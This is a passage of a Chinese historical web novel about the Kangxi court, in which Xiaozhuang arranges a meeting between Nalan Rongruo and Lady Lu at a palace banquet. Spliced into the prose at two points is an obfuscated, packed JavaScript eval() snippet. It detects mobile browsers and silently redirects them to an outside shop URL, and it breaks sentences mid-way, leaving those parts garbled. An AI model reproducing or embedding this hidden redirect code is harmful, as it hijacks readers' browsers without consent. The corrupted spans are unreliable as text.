“可不是吗?”苏麻喇姑细道,“腊月二十二要祭灶,礼部官员要用长筷子打簸箕,太宗皇帝要去孝端皇后的宫里祭灶和上炕,然后再分礼六宫。那会儿,六宫的主位都是要提前准备好鞭炮来迎接太宗皇帝和孝端皇后的。” “是啊。”孝庄的眼前,仿佛旧时光重现,“那时候,皇上给嫔妃们赏黄羊肉,皇后给嫔妃们赏麦芽糖,这些全是蒙古出身的女子们的心头好。” “咱们入关以后,多挑些汉人大臣入朝为官,各项制度逐渐完善,后宫的规矩也变得多了起来。”苏麻喇姑感慨,“过个年还得将大把大把的规矩牢记心中,皇上和整个后宫都不容易。” “皇上大婚至今也有些年头了,可惜中宫无子。”孝庄心疼赫舍里皇后,“我心里还是盼着皇后能够再次添喜啊!” “有老祖宗和皇上的福泽,皇后娘娘一定会再怀上嫡子的。”苏麻喇姑相信,“皇后娘娘端淑有德,是天下女子的表率,理应再得上天眷顾。” 说罢玄烨和赫舍里,孝庄想到了纳兰容若。 孝庄从五彩的宫灯之下往回走,在苏麻喇姑的搀扶下,坐到了暖炕上。 孝庄用护甲挑了挑桌面上的小香鼎盖子,道:“我一直挂心纳兰这孩子什么时候能娶个正妻,年后他就二十岁了,该把这事给办了。” 苏麻喇姑倾听着:“是。” “纳兰的正妻,得为他挑个好的。苏嬷嬷,你看我给皇上挑的索尼的孙女赫舍里好不好?” “老祖宗做主的事情,自然是好,赫舍里皇后母仪天下、主理六宫,没有可以挑剔的。老祖宗为皇上操心,也为纳兰公子操心,奴才都是看在眼里的。这时间过的真是快,皇上除鳌拜那会儿,也才十四岁呢,一转眼,皇上和纳兰公子都长大了。” 孝庄说出了自己的意思:“我看卢兴祖的女儿卢氏不错,等年后让纳兰跟她先相处相处。” 苏麻喇姑问:“老祖宗是要为俩人制造见面的机会?” 孝庄重视道:“就安排一场宫宴吧,苏嬷嬷你亲自去办。” “是。”苏麻喇姑答应,“奴才照着老祖宗的吩咐来办。” “这宫宴啊,不要设在晚上,而要设在午间。我原本是只想叫赫舍里皇后陪着,不想把皇上也一并叫来,但是又怕皇上事后得知,心中会对我这个皇祖母有所不满,所以还是让皇上也一并参加桌席的好。” “老祖宗考虑周全。” “苏嬷嬷,等到纳兰进宫来了,你代我先去探探他的口风。” “奴才记下了,会向纳兰公子好好传达老祖宗的意思。” 111.第111章 玄烨一时兴起,将禹之鼎画的《二虎威镇山河图》赐入军中,理由是:“裕亲王福全和安亲王岳乐,为我大清立下赫赫功劳,理应为各位将士所景仰!” 全军士气大受鼓舞,决定在年后,兵分两路:一路长驱南下,一鼓作气攻下病入膏肓的吴三桂;另一路直向广东,剿灭誓死不降的尚可喜之子尚之信。 而在日后,这幅功不可没的画作,无疑成了清廷的珍品,一直流传到了光绪皇帝年间,才因一场火灾而被意外烧毁。 书房。 玄烨愉悦地享受年前的轻松时光。 正如纳兰对侧夫人袖云谈起了“子嗣”之事一般,玄烨也说出了自己不能让赫舍里皇后膝下无嫡子的话。 “帝后和睦,自然多子多福,皇上不必焦急。” “朕就算是为了给皇阿奶一个交代,也要让皇后怀上嫡子啊!老天爷带走了皇后的第一子承祜,按理说,皇后的第二子一定福大命大、可成为我大清皇子们的表率!朕,迫不及待地想先给皇后的第二子取名字了。” “皇上,这还是个未知数,”纳兰制止道,“您不能——” “朕要你拟出几个字来,然后朕从中挑一个。” “请恕臣不能从命。” 玄烨拿起了毫笔,自语道:“朕给先出生的皇子们取名:承瑞、承祜、承庆,都未能眼见他们成长……就打算给皇后的第二子取名:胤礽。礽,是招揽福气的意思。” 纳兰正想着怎么应对玄烨的不符礼制之举,恰巧苏麻喇姑来了。 “苏嬷嬷。”纳兰尊敬地叫了一声。 “纳兰公子也在,那是最好。”苏麻喇姑和善道,又看桌面,“皇上打算写什么字?” 玄烨矜持道:“朕打算写一个‘保’字。” “皇上此言极是,‘保’字好,对江山社稷好,对内外安宁也好。” “朕还要再写一个‘成’字,合称:保成。” “皇上的这个‘成’字也好。“苏麻喇姑笑道,”嬷嬷我也盼着皇上霸业有成,保我大清万年基业。” 纳兰却是心细,玄烨心心念念赫舍里皇后怀上并且生下第二子,且有意无意地暗示:小阿哥的乳名叫保成。 ——那不是意味要叫我改名讳吗? ——虽然平日我的章多用“容若”二字,可是我与朋友之间的书信落款,多是以“成德”为名。 好似……有些被帝王有意打脸的感觉。 在二十岁,一个成年的节点上被帝王这般对待,心里多少不好受。 “纳兰。” “臣在。” 玄烨提醒:“苏嬷嬷问你话呢。” “啊?”纳兰回过神来,“臣走神了,都是因为皇上!” “你不必多心,不必揣测朕的出发点,朕——”玄烨扬起嘴角,“无论何时何地,都只叫你纳兰。” 苏麻喇姑又把话再说了一遍:“老祖宗说,纳兰公子身边要是有个可心的正妻陪伴,就省的她老人家操心了。” 纳兰原本以为玄烨会添油加醋,哪想玄烨竟然一句话不说,只返回了自己的位置上。 “谢太皇太后关心,容若是该早些迎娶正妻,好正家风和礼德。” “老祖宗说,卢兴祖的女儿卢氏姑娘不错,人长的漂亮,也会说汉话会写汉字,文学造诣虽是不能跟公子并论,但是性子却是懂得照顾人的。后续她要是嫁入明府,明府也无须有她的家族势力之忧。” “这个,请苏嬷嬷给太皇太后回话,就说:纳兰会跟阿玛和额娘商量,过后再答复老祖宗。” 容若心中,不知为何竟然有了—— 娶云辞格格比卢氏要好的想法。 要不是云辞格格跟禹之鼎两情相悦,自己真想拿这个理由回绝了太皇太后的好意。 “五日后,老祖宗在慈宁宫设宴,皇上皇后自然是要去的,纳兰公子你也一并来,到时候见见卢氏姑娘。” “苏嬷嬷,这怕是不合适。” “老祖宗怕你们拘谨,也一并请了其他的跟你们年纪相仿的宾客同聚,就是为了公子跟卢氏姑娘之间能够敞开心扉来说话。” “这个……” 容若语塞,不知道该怎么说。 自打从皇上口中听得:卢氏说“若”字是世界上最悲伤的字之后,自己对她始终有一股抵制感。 玄烨道:“宫宴当日,朕跟皇后都在,纳兰你不能不给皇阿奶面子。卢氏姑娘怎么样都好,姻缘之事,合则来不合则去,就这么简单。” “是,皇上,苏嬷嬷,纳兰会如约赴宴。” “公子放心吧,到时候公子就知道卢氏姑娘的好了。”苏麻喇姑确信道,“嬷嬷我就先去给老祖宗回话了。” “好。”玄烨抢在纳兰前头,“苏嬷嬷你一并跟皇阿奶说,朕和皇后会一并前往。朕体恤皇后为年关事宜操劳,这些日子会多陪陪皇后,让皇后早日再诞下嫡子。” “咱们皇上真是孝顺。”苏麻喇姑欣慰,“老祖宗听了,定是要夸上皇上几句。” * 书房只剩下君臣二人的时候,玄烨朗朗笑了几声。 “皇上别笑了。”纳兰劝阻,“皇上明知道,臣对那卢氏就是有一个心结未解,本意是不想娶她。” “你就不疑朕?”玄烨问,“要是卢氏姑娘说‘若’字最悲一事,是朕捏造出来骗你的呢?” “皇上不会骗我。”纳兰的目光纯粹,内心清澈,“因为皇上对我的感情之事一直都很重视,不会信口胡说来诓我。” 听见纳兰连续用了三个“我”字,玄烨心中一震。 玄烨的确是没对纳兰说谎,卢氏的确是那么说过。 ——但是,纳兰会在意那么久,却是他没有想到的。 ——叫纳兰忘却旧事重新发觉卢氏的好,似乎也不容易。 玄烨陷入了沉默和迷惘,自己在纳兰娶卢氏这件事上起不了什么作用,太皇太后的意思明确,她不是等纳兰回应“娶”或是“不娶”,而是看纳兰面对这桩既定的姻缘,能否做出自己的判断。 “皇上,你说那个卢氏到底是个什么样的女子?她哪里好了?” “朕不知道。但是卢氏在皇后身边陪着读书写字,倒是从未出过差错。皇阿奶问她对你有什么想法?她似乎对你还挺倾慕的。” “夫妻是要一起过日子的,抬头低头都相见,光是倾慕、不懂我心事有何用?” “皇阿奶不是说了吗?你先跟她相处——” “我娶个正妻还要太皇太后来制造机会,我真是觉得自己无能、无从对阿玛和额娘提起。” “纳兰你,”玄烨看着他,“为什么就不相信太皇太后的眼光一次?” 这个问题,纳兰没法回答。 他承认老祖宗待他好,但是最后老祖宗做主的—— 不是娶官云辞而是娶卢氏,全都在他的意想之外,真应了明珠的那句:人算不如天算。 * 回家以后,容若硬着头皮把太皇太后的“意思”告知了阿玛和额娘。 明珠的回应是:“知道为什么皇上在老祖宗面前提了数次官云辞,到最后老祖宗却给你挑了卢氏吗?一是索额图的次子对官云辞有好感;二是容若你娶一位父亲为国捐躯、隶属汉军镶白旗的女子,符合大清的政治需要。” “儿知道这里面的重重利益关系,可还是难以说服自己。” “容若,感情的事你可以慢慢培养。”觉罗氏道,“现阶段是先让太皇太后满意,太皇太后总不会给你挑不好的姑娘。” “感情分许多种,像是打小一块长大的青梅竹马之情、经年累月的相伴共渡之情、一见倾心的投缘投机之情……儿实在是不知道,自己跟卢氏之间存了什么情?” “你跟那卢氏不存感情也罢。”明珠劝容若坐下,“以前阿玛是想着让你自己来做主选择正妻,如今却觉得太皇太后有安排也好。儿子,道理你都明白,勿要再跟自己和跟大局过不去了。” “是啊容若,你越是想着自己跟卢氏之间有隔阂,心里就越是会不喜欢她。”觉罗氏温言道,“很多事,虚虚实实,人是看不清的。来日方长,日久见真情,日久识人心。” “阿玛再把话给你说的明白些。”明珠一脸严肃,“为什么卢氏今年十八岁,却一直未参加选秀?未被皇上选为嫔妃?太皇太后的心思不是另有所图吗?况且太皇太后早有过让你娶卢氏的意思。【注1】” “儿这一生,忠孝要两全,感情要太皇太后成全,阿玛您能觉察儿的内心是什么滋味吗?” “一个人要是尘世活得苦,那他在来世一定会有无上福报。阿玛知道你不得已,你须记得,你身边还有侧夫人袖云、家外还有来路不明的奇女子、宫中还有惠妃娘娘,到时候你自己斟酌好自己的感情。” “卢氏……”容若变得越来越情绪化,“不能跟她们比!” 明珠给觉罗氏递了个眼色,觉罗氏就拉了拉儿子的手,道:“容若,你先跟额娘回房去,你心里闷久了的话,都说给额娘听,额娘陪着你。” 容若冷看了一眼明珠,“阿玛是觉得儿不孝?还是觉得儿现在没有一点‘纳兰容若’该有的样子?至于这般暗示额娘把儿子支开吗?” “容若,你需要冷静,阿玛是为你好。” “为我好?”容若重复了一遍,“为我好阿玛就应该替我回绝了这门指婚!” “夫人,你跟容若留在这里。”明珠起了身,“本官这就进宫去!” “老爷——!!”觉罗氏一惊,匆匆拦在门口,“你这一去,就是太皇太后的指婚懿旨还未正式下来,就先抗旨了呀!!” 明珠神色果决。 “与其在往后,你我夫妇日日见:容若和卢氏相敬如宾,所谓的恩爱和夫妻之间的小情诗、小词调都是编造的、写给外人看的……苦了容若也苦了你我,本官还不如现在就抗旨去。” 觉罗氏心明口直,缓解着眼前局面。 “老爷,咱们儿子只是说气话,没叫您跟太皇太后分庭抗礼。容若只是不想到时候对着指婚懿旨来伏地谢恩罢了,老爷您是没明白他的意思呀!” 明珠见容若神色倦怠、捂着心脏不说话,不由得鼻子一酸。 “索额图尚且能为次子格尔芬谋一份二等侍卫的美差,本官却连自己儿子的娶妻意愿都不能体谅,真是对子有愧啊!要是容若娶的不是自己喜欢的女子当正妻,他的日子过得不自在,我明珠要高官厚禄和漫漫官途来有什么用?” 觉罗氏一边走回暖炕坐下来照顾儿子,一边对夫君明珠进劝。 “老爷,带着冲动进皇宫,是大忌!” “您好歹想想,太皇太后对咱们家有恩,咱们不能跟太皇太后伤了和气。妾身虽是个妇道人家,这些年来走过数不尽的人面往来场子之后,也懂得‘得荣华易,保荣华难’的道理。咱们纳兰家要想过的安稳,哪里少得了太皇太后这个后盾?得罪不起啊。” 明珠眼角渗泪,仰天一喊: “太皇太后,我纳兰家有今日的确是仰仗于您!但是我儿容若心里苦啊……我明珠也苦啊……这桩迎娶卢氏的姻缘,您拉拢我纳兰家不像拉拢,施压我纳兰家不像施压,让我们父子如何是好?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听完刚刚回来的远黛的回话,惠妃惊问:“你说的是真的?五日后是表兄跟卢氏姑娘初会面的日子?” “是啊,太皇太后有意撮合,而且还叫皇上和皇后娘娘一并当‘佳缘初遇’的见证者呢。” 见惠妃不语,远黛遗憾道: “到底是卢氏姑娘福气大,一眼就被太皇太后挑中了,天底下有多少名门闺秀想要嫁入纳兰家?正夫人的位置却是偏偏给了她。” “卢氏嫁入纳兰家是福是祸,还是个未知数。”惠妃盖上了香盒盖子,“朴尔普大人为云辞格格的婚事操心至今,却是这样的结果,怕是大失所望。” “娘娘,朴尔普和云辞父女毕竟是瓜尔佳氏出身,跟罪臣鳌拜同源同族。” “说的也是。”惠妃把香罐放入了箱匣,“所以事关云辞格格,不管皇上在太皇太后面前怎么提,太皇太后也只是表面应付着,实际上她是对表兄的婚事心里有底的。” “难怪皇上安静。”远黛道,“不然照着皇上的性子,早为容若公子到太皇太后跟前说理去了。” “娘娘,今晚皇上在坤宁宫歇下了。敬事房的公公说,皇上为了祖宗基业,一心求着中宫再诞下嫡子呢。” “后宫本就该多子多福。”惠妃平和道,“只要皇上肯来后宫,无论是临幸谁,都可喜可贺。” “娘娘您不为大阿哥考虑?” “远黛,如今本宫越发珍惜胤禔无忧无虑成长的时光。因为本宫知道,日后伯父明珠定是会在夺嫡的事情上下功夫,到时候山雨欲来,后果怎么能够预计?” “明珠大人身边总归是有容若公子把持着度,不似索额图那般肆无忌惮。索额图要是成了皇后下一个嫡子的叔姥爷,对明珠大人不利啊!” “到时候再说吧。” 妆镜前,远黛正一丝不苟地为惠妃卸下珠钗。 惠妃看着自己的青丝,心中叹了一个“长”字。 “娘娘,远黛还听来一个消息。” “快说——” “卢氏姑娘的心思可是了不得。前夕,容若公子因为给皇上留折子论国策,而被太皇太后以‘自大、狂妄、居功’三大僭越臣责之错【注2】,软禁在慈宁宫侧暖阁的时候,深夜漫长,身上忘带常服的药物,寒症快发作之际,是靠着意志力撑下来的。” “这事本宫知道。” “容若公子的意志力,来自有人唤他的名字。”她靠近主子的耳旁,细声道,“远黛打听清楚了,那夜私唤‘纳兰公子’数遍之人,正是卢氏!”【注3】 “什么?” 惠妃惊讶。 表兄一直当作是沈宛,以为唯有沈宛才会这么为爱奋不顾身和胆大包天,到头来,那个“救命恩人”竟然是卢氏? 【注1】 孝庄第一次开口想把卢氏指给纳兰,见第34章。 【注2】 孝庄表面严肃责备和软禁纳兰,实际上是为了保护他不被八旗亲贵所害,见第25章。 【注3】 事件经过: 1、容若寒症将发,病痛听见有人叫他的名字,以为自己出现了幻觉。见第27章。 2、那夜悄悄叫唤容若名字的人是卢氏,她对孝庄和苏嬷嬷说了谎,说不知道侧暖阁中的人是谁。见第28章。 3、容若误以为那晚喊他的名字的人是沈宛,一直惦记着沈宛的好。见第29章。 112.第112章 慈宁宫宫宴当日,朴尔普之女官云辞、二等侍卫格尔芬也应邀前去,坐在了孝庄特设的“同龄之友”桌席中。却是不见曹寅的身影。 原来,孝庄颇是喜欢江南织造【注1】进献的宫灯,而曹家与江南工业的渊源又最是深厚,所以孝庄决意:日后就让江宁织造【注2】归了曹寅来主理,好让曹寅在地方为皇上、为朝廷尽忠。 此时,曹寅正在一处给老家的亲人们写信报喜呢。 曹寅的心中,是万分高兴。 曹氏一族能够在江南安居乐业,自己不必过“伴君如伴虎”的日子,何乐而不为? 只是,主理江宁织造一事,太皇太后也是只是提起,什么时候能定下来,还是个未知数。 ——唉,我曹寅还未娶妻,估计在纳兰之后,老祖宗也该为我的终身大事做打算了。 ——江宁织造好啊!跟朝廷联系密切,甚至还背负着监察地方官和地方事务的责任,算得上是一份理想差事了。等到日后皇上带着纳兰南巡至此,我曹寅一定尽心尽力接待,把酒天明一番君臣话、朋友话。 * 纳兰去的特别早,不是为了抢风头,而是为了避免的跟卢氏偶遇。 坐在宴厅之中,纳兰满眼尽是新年将至的喜庆。再翻看桌子上的菜牌,也尽是些寓意极好的菜名: 蒸蒸日上(玉珠上上签)、团团圆圆(四喜丸子)、大吉大利(板栗烧鸡)、福运满载(白玉豆腐羹)、丝丝入扣(凉拌三丝)、富贵有余(腐竹拌唐芹)、上汤青菜和竹笙金针菇素汤。 宫宴开始前,孝庄笑吟吟地叫纳兰坐到了她身边。 “孩子,这些跟你年龄差不多的八旗子弟们,除了格尔芬和云辞,全都是成了家的。你们他们精神面貌多好,所谓:夫妻恩爱一辈子,日子顺畅福不止。老祖宗我啊,就盼着你有爱有福呢。” 纳兰的目光搜寻了一圈,都未发觉似老祖宗引见的卢氏姑娘的身影,倒也是不在意了。 “容若多谢太皇太后祝语,容若也盼着太皇太后膝下子孙满堂,大清江山盛世繁荣。” 孝庄握着亲孙儿似的纳兰的手,慈爱道:“我正想跟你阿玛和额娘说呢,你迎娶正妻的婚事一定要好好办,照着八旗贝勒迎娶福晋的礼数来办。皇上皇后,你们的意思呢?” 玄烨道:“孙儿自然是听从皇阿奶的意思。” 说罢,玄烨看了一眼坐在斜对面的桌子上的云辞格格,正好碰到了她那说不清也道不明的目光,就跟是“官云辞嫁谁也不嫁纳兰”之事告一段落了一样,她可以不受自己这个皇上的口上之词了。 赫舍里皇后道:“臣妾一定尽早吩咐内务府做准备,也好让纳兰公子早日习得和记下礼数,不在成亲之日有所疏漏。” “既然皇上和皇后都明白了我的心思,那我就放心了。” 孝庄点了点头。 这时候,苏麻喇姑带着一个女子从侧帘后面出来。 “见过太皇太后,见过纳兰公子。“ 纳兰只听见苏嬷嬷道:“老祖宗,卢氏姑娘知道今日要跟纳兰公子见面,天未亮就起来做准备了。她特意选了纳兰公子喜欢的芙蓉花珠钗来固定旗头。” 纳兰的目光往眼前女子的旗头上一挪,果然看见了一朵粉红色的芙蓉花。 只是。 他概念里的“芙蓉”,始终都是渌水池里的“清水芙蓉”,而非温庭筠诗句“浓艳香露里,美人清镜中”中的芙蓉花。 孝庄对卢氏的打扮很是满意。 她试探着问纳兰:“孩子,你觉得卢氏姑娘怎么样?” 怎么样?纳兰扪心自问。 ——模样倒是标致可人,举止倒也端庄大方,就是从她身上找不到一眼投缘或是一见钟情之感。要说长处,温柔用心算是;要说不足,未交往过,难以定论。 “回老祖宗,容若觉得卢氏姑娘今日姿容出众,人美声甜,适宜同座共谈。但要说——” 要说动心之处,容若自觉没有。 “这有什么好拘谨的?”孝庄笑道,“老祖宗面前,什么话你都照说不误。” “但要说跟皇后娘娘比,还是差了许多。”容若脑袋一嗡,似乎自己都不晓得自己在说什么话,“我的意思是,卢氏姑娘还是需要跟在皇后娘娘身边,多学点东西的好。” “公子还记得?”卢氏问,“记得今日你我已经不是初见?” “我当然记得。那日你穿的朴素,略施粉黛,在皇后娘娘身边跟着,太皇太后说你擅长做甜品,尤其是:桃胶银耳莲子汤【注3】。” “其实……”卢氏半低着头,小心翼翼地期待,“我今日亲自做了这道甜品,公子什么时候想尝尝?” 容若心中对卢氏的后半句话有所不快。 她不是问他愿不愿意品尝,而是给了他一个做选择题一般的必尝之感。 这使得他的脸上消失了一些温润的表情,换做日常,连玄烨也没有这般逼迫过他去回应出一个准信来。 苏麻喇姑圆场道:“卢氏姑娘也是因为见了公子高兴,才这般说的,公子你说是吗?” “嗯。甜品我一人尝不好,要大家一起尝才好。”纳兰问向玄烨,“皇上您说呢?” “你能为大家着想,朕自当吩咐卢氏不要吝啬了自己的手艺。”玄烨对那女子道,“你便去准备今日份全席位的甜汤吧!不必急着端上,饭后喝才好。” 卢氏看向太皇太后,好似知道自己错了一般,请求老祖宗为她说情。 孝庄宽容道:“何必较真呢?咱们先坐着吃饭,卢氏你去八旗格格当中加入到她们的话题里面去吧!” “奴才谢太皇太后。谢皇上、纳兰公子见谅。” “我没怪你。”纳兰看着卢氏,“就是觉得——” 你之所做所想所说,没有一处到了我的心坎里。 你需要时间了解真正的我,我也需要时间把真实的我展示给你我。 希望你我,不是只活在太皇太后的印象里。 纳兰没有当着卢氏的面把话说透,只为给她自己琢磨的余地。 他看向云辞格格,竟发现她跟格尔芬和同席的八旗子弟们聊的不错,尽管那一桌就只有她一个飒爽开朗的女子。 * 纳兰坐在孝庄和玄烨之间,正对面是卢氏坐在其中的、由年龄相近的八旗格格们所组成的女子席。 这让他感到了十分强烈的压迫感和拘束感,他在玄烨耳边小声道:“皇上,这样的场合不太适合我。” 玄烨一本正经道:“纳兰,今天你不是朕的客人,而是皇阿奶的客人,好好记着。你不但要看着卢氏姑娘到底,更要在场子结束之后跟她独处,这也是皇阿奶的意思。你,就自己体会卢氏姑娘的魅力吧!” “皇上,你可以给我个恩典,让我先行告退吗?” “朕跟皇后都没走,你以为自己能走吗?好好给朕呆到底!这个场子是皇阿奶和苏嬷嬷特意为你准备的。” 纳兰心中小叹一口气。 看向热热闹闹的女子席,她们像是在仿照汉人的玩法联诗句。 “瑟瑟北风冬雪浇。” “公子如玉世无挑。” “蛾眉似柳静却飘。” “翻看若词字句敲。” 听着听着,纳兰的心情莫名其妙好了起来,那些八旗格格的文采虽不是斐然,但却句句都能自成一幅画:听之有趣,现之有味。 纳兰记起,上次自己跟国子监的同窗们一起郊游联诗,格尔芬也参与其中,已经是两年前的事情了。 女子席忽然安静了下来,苏麻喇姑来回话道:“下一句是轮到了卢氏姑娘,她没有接下联。” 孝庄看准了时机,对纳兰道:“孩子,你代老祖宗过去鼓励或安慰一下卢氏姑娘可好?” 纳兰心生出一种孝庄有意安排的味道来,但是从八旗格格们联诗时的即兴感,和此刻卢氏的紧张感来看,又不像。 “快去快去。”玄烨催了纳兰数声。 然后,他给赫舍里舀了一个她爱吃的四喜丸子,宠爱道:“皇后素来爱吃这个,朕平三藩、诛朱慈焕、退沙俄大臣,是为三件喜事。” “这第四件喜事,”玄烨一笑,“就是盼着皇后再为朕诞下嫡子。” “是。”赫舍里皇后下意识地一摸腹部,“臣妾一定为皇上和老祖宗诞下皇嫡子。” 纳兰在皇上和皇后、太皇太后和苏嬷嬷的高兴声中,走向了卢氏那边。 安慰她说不上,这样的场合让“天下的纳兰公子”当众去温言安抚一个女子,不合适吧? 鼓励她更是说不上,她有受什么委屈吗?没有。她被谁欺负了吗?没有。她被谁嘲笑或是看不起了吗?更没有。 但是,自己吟出一句诗来替她解围,倒是绰绰有余。 见纳兰公子走近,卢氏一下子起了身,小声道:“我太丢人了,不值得公子特意过来。” 纳兰平和问她:“联诗的下一句,你是心中没谱?还是心中有答案却不愿说?” “我……”卢氏犹豫了一会儿,终于道,“想说的是这一句:高门广厦心迹雕。” 纳兰一品,发自内心道:“不是接的挺好的吗?” 卢氏没有想到自己会被公子夸,既欣喜又惶恐。 “我听闻纳兰一家在‘济国寺’供奉:司职天上人间工事的居乐神君,为了保一家平安,也为了保纳兰家名下的各项事业安泰和顺。” 纳兰简练道:“不错。” 卢氏鼓起勇气来看公子的眼睛,坦诚道: “居乐神君名叫:广厦。‘安得广厦千万间,大庇天下寒士俱欢颜’的‘广厦’。杜甫此诗,是对仙家的大痛问和大不敬。纳兰公子最是厌翻杜诗,所以顾及公子的情绪,我没有接那一句。”【注4】 “哦。” “公子。” “嗯?” “可以跟公子一同到外面去走走吗?” “唔。” * “花鸟风月楼”中,孔尚任带着自己的剧本的第一部分拜访了主人张纯修。 沈宛正好坐在临窗位置,可以清晰地听见二人的交谈。 “孔兄,你这剧本名叫《桃花扇》,以李香君和侯方域的悲欢离合为主线,说白了就是想表达大明遗民的亡国之痛吗?” “这我怎么敢呢?”孔尚任慌忙摆手,“我这不是在歌颂爱情吗?” “就算是洪昇,也没有你这么大胆啊!”张纯修警告道,“你要是堂堂煽动底层百姓起来反抗压迫也就罢了,关键是:你作为大清子民,爱国尊君的情怀在哪儿呢?你该不会是以为自己有纳兰公子的资助,就什么都能写了吧?你可不能跟张岱先生比啊,张岱先生那是得了康熙皇帝特许,才能以十五年为限去写自己想写的东西……” “张楼主,你这是哪里话?我怎么会胡写乱写不该写的东西出来,连累了纳兰公子、也连累了你这个借我一席之地排演的场子呢?” “孔兄,你听好了——”张纯修站了起来,“你的《桃花扇》得换个立意来对外公开,我这会儿也替你想好了!” 孔尚任从长板凳上腾跳而起,拱手行礼道:“张楼主,快快请讲。” 张纯修正义凛然道:“你是孔子的后人,要是真想得到纳兰公子的引荐面圣,得这么说:草民孔尚任,耗时三年写完《桃花扇》第一部分内容,恭请圣阅!草民在剧本中所写,乃是句句忠于大清忠于皇上。剧情所涉及,影射南明王朝孤存,实则草民深知其:旧朝德政有失,臣民四散,不宜久存!” 孔尚任如醍醐灌顶。 “那照张楼主所见,我当下——” “改啊!”张纯修敲了敲桌面,“孔兄,你这剧本得大改,最起码改成皇上看后能够龙颜大悦的忠清之作!你可不能为了自己的脑中故事,而害了你的恩人纳兰啊!” “张楼主所言极是,我这就回去改。”孔尚任迅速收起剧稿,“当然了,我这原稿也留着,万一以后用得上呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267568|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “你可千万把今日拿给我看的东西保管好了!”张纯修叮嘱,“别被‘风’吹去了其它地方,招惹出什么祸事来。” 看着孔尚任离开的背影,沈宛心情复杂。 ——祸事。宁可信其有,不可信其无。 ——还是要找个机会,把今日的事情全都告诉容若才好。 她起身,留下饮食钱之后,就踩着轻功飞出窗外而去。 * 皇宫。 容若和卢氏同撑一把挡雪伞走在花园中。 “还未请教卢氏姑娘名字。” “尔谖(xuan),莞尔的尔,谖草的谖。” “好名字呀!结庐在人境,‘而’无车马‘喧’。”容若淡笑,“正是我所向往的生活。” “苍生顒(通:容)然,般若欣戴。“ 卢氏对公子的名字有自己的理解。 她早就从苏嬷嬷口中听闻,公子慈悲笃佛,一颗心是为天下众生的心,一阙词是至真至深的音,一串菩提为“心”和“音”所“凝”。 所以她想,公子取“容若”为字,原因正在于此。 “你的见解也说得通。”容若没有说明取字的内涵,“当下的话,用‘容止若思,言辞安定‘来诠释合适。“ “公子是个有趣的人。”卢氏面带惊叹,却也深知,“今日赴宴和途中与我出来,怕都不是公子所愿吧?” 容若问的很直接:“你喜欢我吗?” 卢氏的答案也很清晰:“起初,我是喜欢公子的名气,然后是倾佩公子的为人,现在是希望自己也被公子喜欢上。” “那你我要是按照太皇太后所指,结为夫妻,”容若抛出一个问题,“在日后,我臣为君死,留下你一人,你该当如何?” 卢氏坚定道:“我会好好孝顺家公和婆婆,把孩子抚养长大。” “不要应答的太快,不然重压到来之时会被打倒。” “我不怕倒下,如果我的付出能够换来回报的话。” 若容被那句话一激,整个人都不自在。 他好似知道卢氏不是那个意思,自己又偏偏要挑刺一般,问她:“你在向我索要什么?” 卢氏摇头,意思是她没有惹容若生气,容若是自己多心了。 容若转身想走,往左回到慈宁宫,可以大不了豁出去——把自己对卢氏的真实想法,一五一十地告诉老祖宗和皇上;往右离开皇宫,可以直奔“饮水词歌·素菜馆”去,见得着见不着沈宛都好,独自静一静就足够。 “公子试过吃‘冰溜子’吗?” “没有。” “那我教公子,可以……吗?” “什么?” 容若仰头看着灰蓝色的天空,伸手接了一捧雪花。 ——禹之鼎讨云辞格格欢心,给她送的是冻柿子和冻梨。卢氏讨我“欢心”,是叫我吃带冰渣的冻品。 ——禹之鼎和云辞格格一起吃化冻后流心的水果,叫做有说有笑。我跟卢氏一起面对那些……我分明吃不了,却要被她“教着”来吃的东西,叫做苦不堪言。 真是越想越不自在。 难道彼此之间就没有别的“正经对话”可以有了吗? 容若隔了卢氏小段距离走着。 他认为自己真的没做错什么:夸她联诗的句子是她联的不错;跟她一起外出独处是为了不让她在众人面前失望;为她的名字拆字是陶诗上了心头;问她是否喜欢纳兰容若这个人,是为了让自己心中有个谱。 ——不管接下来发生什么事,我能说自己“无愧于心”吧? ——不管别人怎么评价,至少我的好脾气和好性情没变吧?变了的,只是我看待一个素未谋面的女子的感触,真是“感极而伤触”。 “我在岭南居住的时候少见冰雪,才会觉得‘冰溜子’吃起来格外不同。” (容若内心:你能吃,可是我不能。) “烤着吃也不错,像是一个个晶莹剔透的带夹心的鹅卵石。” (容若内心:你到底在想什么?) “公子日常接触西洋玩意儿和西医,想必对这个好吃的也会喜欢。” (容若内心:一前一后,有何关系?难道你认为,纳兰对没吃过的药物和食物都想吃吗?) 容若忍无可忍,却最终选择了迁就。 罢了,这事这话题就让她戛然而止吧! 他转而当面向她确认:“世界上最悲伤的字,是哪一个字?” “一个‘若’字。” “好,你我之间今日到此为止,现在你回太皇太后身边去,就说:‘纳兰公子心绪迷离,不经寒冷,先行离宫了。’ ” “公子留步。我要是有错且只在公子一个人眼里错的厉害,那我听了公子的明示再做改正就是;公子要是不与我一同返回慈宁宫,太皇太后颜面有扫,皇上皇后怪罪下来,请问是你我共同分责吗?” “尔谖。”容若不知不觉叫了一声卢氏的名字,“你跟我说话的方式,不同于我接触过的任何一个女子,这一日我无法适应,在以后也难说磨合。” 她一怔,许多,才道:“如果开头就太顺利的话,不是意味着在感情经营之初就把好运都用光了吗?不如一步一步往将来走,一点一滴地接福气。” 卢氏的这句话,让容若受用,也让容若复杂。 情感路不同于人生路,情感路只是人生路的一环节。 容若深知自己是个多情人,却又不想被“情”字所误,道出一句“人到情多情转薄,而今真个悔多情”来。【注5】 